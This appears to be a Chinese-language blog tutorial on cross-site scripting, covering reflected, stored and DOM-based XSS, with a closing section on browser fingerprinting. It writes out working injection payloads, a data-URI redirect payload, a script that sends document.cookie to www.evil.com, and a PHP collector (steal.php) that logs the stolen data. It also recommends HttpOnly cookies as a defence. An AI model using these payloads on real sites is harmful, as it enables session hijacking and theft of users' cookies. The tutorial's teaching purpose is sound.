xss(跨站脚本攻击)
分类
1.反射形XSS
反射形XSS只是把用户输入的数据简单“反射给浏览器”。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功。在发出请求时,XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应中出现这段XSS代码,最后浏览器解析执行。
1.对于以下代码xss.php
1 <?php 2 echo $_GET["x"]; 3 ?>
当我么构造以下URL时,http://127.0.0.1/xss.php?x=<script>alert(1)</script>,服务端解析时,echo就会完整地输出<scirpt>alert(1)</script>到相应体中,然后浏览器解析执行触发
我们也可以这样
Data URI协议
协议格式: data:资源类型;编码,内容
而在以下代码中
1 <?php 2 header( 'Location:'.$_GET["x"]); 3 ?>
我们构造以下URL
http://127.0.0.1/xss.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 使用Base64加密的,解密后是<script>alert(1)</script>,
于是,当发生跳转时,就会执行这段JS
2.存储形XSS
存储形XSS会把用户入的数据“储存”在服务器。这种XSS具有很强的稳定性
存储形的XSS和反射型的XSS的差别仅仅在于:提交的XSS代码会存储在服务端(不管是数据库,内存,还是文件系统等),下次请求目标页面的时候不用再提交XSS代码。
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS的代码,就当作正常的HTML与js解释执行,于是就触发了XSS攻击。
3.DOMXSS
原因特别,通过DOM操作形成的XSS
如以下页面

设计者的初衷是让用户填写一段url并把其值作为testlink的链接
攻击者可通过以下两种方式进行攻击(触发javascript代码)
1.onclick()函数--当点击testlink时触发
2.onerror()函数--嵌入一张src不存在的n图片,当访问失败时触发onerror()函数
其实攻击者就是要想方设法的调用js,有onclick,onerror,还有onmouseover,以及在如src或者href这种填写地址的地方填入javascript:你的js
i>:' onclick="alert('xss')"//
第一个单引闭合前面的单引,后面的//去除‘
ii>:'> <img src='' onerror="alert('xss')"><'
’〉用来闭合掉<',而我们再用<'闭合掉后面的'>
中间嵌入的图片无法访问因此导致onerror执行
我们重点是需要考虑到js的输入输出函数。
作用
1.可盗取cookie
比如诱使用户访问如下URL
http://www.evil.com/test.js
而test.js中包含以下内容
var image =document.createElement("img");
image.src="http://www.evil.com?"+escape(document.cookie);
document.body.appendChild(image);
那么我们会在www.evil.com这台服务器上受到访问者的cookie
通过设置http-only头可以防止cookie被读取。
2.可以伪造get,post请求
1.以上盗取cookie则用到了伪造get请求
2.那么我们如何伪造post请求呢?
i>通过javascript进行dom操作构造表单
ii>通过innerHTML直接插入html格式的表单
iii>通过ajax请求的post方法发送数据
i>

ii>
iii>

用burp抓包就可以看到啊!
我们可以对比一下跨域的js代码
1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 function createCORSRequest(method,url) 7 { 8 var xhr=new XMLHttpRequest(); 9 if("withCredentials" in xhr) 10 { 11 xhr.open(method,url,true) 12 } 13 else if(typeof XDomainRequest!="undefined") 14 { 15 xhr=new XDomainRequest(); 16 } 17 else{ 18 xhr=null; 19 } 20 return xhr; 21 } 22 var request=createCORSRequest("get","http://www.evil.com/steal.php?data=456"); 23 if(request) 24 { 25 request.onload=function() 26 { 27 alert(request.responseText) 28 }; 29 request.send(); 30 } 31 32 </script> 33 </body> 34 </html>
我们来看一下几句代码的解释
"withCredentials”仅仅存在于xmlhttprequest2对象中
做了一个实验
即使是
steal.pi1hp没有设置steal.php,也可以获得数据
steal.php为
<?php
$file=fopen("test.txt","a");
$data=$_GET['data'];
fwrite($file,$data);
fclose($file);
?>
报文如这般 带上ORigin标签了

IE下不是用XMLHttpRequest,而是用XDomainRequest();
我的理解是withCredentials与XDomainRequest分别用来表示非ie浏览器与ie浏览器的标志
CORS与ajax的区别还体现在一个是
request.onreadychange,一个是onload
还有另一个版本的ajax提交POST请求,其实也差不多
1这是

对于CORS目标网站(拿PHP做例子)
header("Access-Control-Allow-Origin:http://www.xxx.xom");
另,标准的CORS是不会携带Cookie的
,若想携带
需要将withCredentials设置为ture;
需要在服务器里设置Access-Control-Allow-Credentials:true
貌似通过function(){}可以直接指定一个函数
已及在lweb黑客解密这本书中利用js操作dom来提交表单
这个create_elements中是用来创建一条<input>的语句的。
在余弦大大的书上有一段跨路径的cooki
e访问,可是尝试了好久,并没有成功,跟踪进去都是说o.content.Documentisnull
我觉得是不是,onload函数加载时计算右边的时候contentdocument还没加载完呢?
我把他改了一下可以弹出cookie,但是已经没有了一气呵成的感觉

对于xss攻击一个有效的方式是将cookie设置httponly属性,这样可以有效地防止cookie被读取
对于xss攻击,将cookie设置为httponly
==========================
有时候,我们可以通过xss来识别用户信息(取自自己的浏览器)
1.最简单的方法
alert(navigator.userAgent)

但是,UserAgent是可以伪造的,得到的信息不一定准确。由于浏览器之间的差异,不同的浏览器会各自实现一些独特功能,
我们采取如下方式
function browser_Sniffer() { if(typeof window.opera !="undefined") { return "OPera"; } else if(typeof window.netscape!="undefined") { if (typeof window.Iterator !="undefined") { if(typeof document.styleSheetSets!="undefined") { return "FireFox3"; } else { return "Firefox2"; } } else { return "mozilla"; } } else if(typeof window.pageXOffset !="undefined") { try{ if(typeof external.AddSearchProvider!="undefined") { return "Chrome"; } } catch(e) { return "Safari"; } } else if(window.ActiveXObject!="undefined") { if(!window.XMLHttpRequest) { return "IE6"; } else if(document.documentMode) { return "IE8" } else { return "IE"; } } else { document.write("unknow"); } } document.write(browser_Sniffer());
这里需要注意,在IE11中window.ActiveXObject!="undefined"
所以无法用这个方法识别。

浙公网安备 33010602011771号